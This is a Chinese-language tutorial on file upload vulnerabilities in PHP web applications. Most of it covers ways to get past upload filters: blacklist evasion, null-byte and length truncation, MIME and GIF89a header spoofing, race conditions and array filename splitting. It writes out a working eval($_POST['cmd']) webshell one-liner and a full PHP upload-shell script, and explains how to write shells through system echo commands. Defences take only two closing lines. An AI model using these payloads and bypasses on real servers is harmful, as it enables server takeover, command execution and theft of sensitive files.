文件上传漏洞
一、漏洞介绍
upload:文件上传
web应用提供上传功能,如图片、视频、文本文件等各种类型文件。用户可上传webshell,执行系统命令、读取敏感文件、拿到系统权限、控制服务器。
二、产生原因
未对用户上传的文件进行严格的过滤和限制。
三、漏洞危害
- 执行系统命令
- 读取敏感文件
- 拿到系统权限
- 控制服务器
四、应用场景
所有提供上传功能的地方。
五、漏洞利用
1. 操作
上传websehll,访问页面或连接工具。
2. 绕过
前端
2.1 js绕过
上传白名单文件,抓包修改后缀。
后端
2.2 黑名单
大小写、双写、加点加空格、windows特性、特殊后缀等……
windows特性:::%DATA
特殊后缀:phtml、php2~5
2.3 白名单
00截断:
条件:php < 5.3.4、magic_quotes_gpc关闭
GET方法:/xxx.php%00
POST方法:xxx.php空格,HEX16进制修改空格(20)为00
长度截断:
.........
/././././
windows大于256,linux大于4096。
MIME:
修改contect-type
2.4 内容绕过
文件头检测:在请求体开头加入对应的图片头(GIF89a)
二次渲染:待加入……
条件竞争:上传webshell:
<? php fputs(fopen('shell.php','w'),'<? php eval($_POST["cmd"]); ?>'); ?>
结构:fputs(打开文件,'写入内容')
fopen('文件','打开方式')
w:写入方式打开,清除内容,如不存在则创建文件。
2.5 代码审计
自定义文件名+黑名单:
move_uploaded_file() 函数将上传的文件移动到新位置。
自定义文件名后缀加'/.',move_upload_file函数会忽略末尾'/.'。
自定义文件名+数组拆分:
if(!is_array($file)){$file = explode('.',$file);}
检测数组,进行拆分。
$ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)){$msg = "禁止上传该后缀文件!";}
检测后缀
$file_name = reset($file) . '.' . $file[count($file) - 1];
拼接文件名
主动上传数组
抓包,在请求体文件名下复制一段,
name="save_name[0]"
[空行]
xxx.php
name="save_name[2]"
jpg
满足后缀条件
jpg需要是save_name[2],如果为1,文件名会有双后缀。
3. 上传马
3.1 代码执行
创建上传马
<?php fputs(fopen(shell.php,w),shell内容); ?>
由于是利用post传参,不能出现运算符号。编码后检查,如果有运算符号,再编译一次。
fputs(fopen(base64_decode(),w),base64_decode(base64_decode())); <?php $temp = $_FILES['upload_file']['tmp_name']; $file = basename($_FILES['upload_file']['name']); if (empty ($file)){ echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n"; echo "Local file: <input type = 'file' name = 'upload_file'>\n"; echo "<input type = 'submit' value = 'Upload'>\n"; echo "</form>\n<pre>\n\n</pre>"; } else { if(move_uploaded_file($temp,$file)){ echo "File uploaded successfully.<p>\n"; } else { echo "Unable to upload " . $file . ".<p>\n"; } } ?>
访问上传马(在同级目录下)
3.2 命令执行
通过系统命令echo创建一个上传马
system(echo shell内容>绝对路径) or 直接写文件名在当前同级目录下创建
这里注意<、>、&这三个字符在CMD命令行中有特殊意义,需要在前面加 ^ 进行转义。
六、防御与修复
通过白名单的方式判断文件后缀是否合法
对上传后的文件进行重命名